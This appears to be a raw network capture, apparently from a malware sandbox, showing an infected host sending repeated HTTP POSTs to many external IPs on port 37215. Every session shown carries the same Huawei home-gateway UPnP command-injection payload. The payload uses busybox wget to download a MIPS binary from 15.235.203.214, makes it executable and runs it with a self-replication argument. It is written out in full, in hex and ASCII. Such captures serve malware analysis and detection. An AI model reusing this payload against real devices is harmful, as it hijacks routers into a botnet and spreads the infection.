33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	39572	197.64.178.193	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019819021 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	51480	124.38.65.99	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019865036 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	49448	157.34.28.229	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019910097 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	35076	41.201.10.23	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019912004 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	40932	157.249.112.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019938946 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	36346	157.62.193.172	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019994020 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	53188	157.34.92.241	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.019996881 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	42210	197.130.190.85	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020039082 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	55082	157.134.72.2	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020039082 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	38898	104.8.73.49	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020086050 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	37720	41.17.9.128	37215

Timestamp	Bytes transferred	Direction	Data
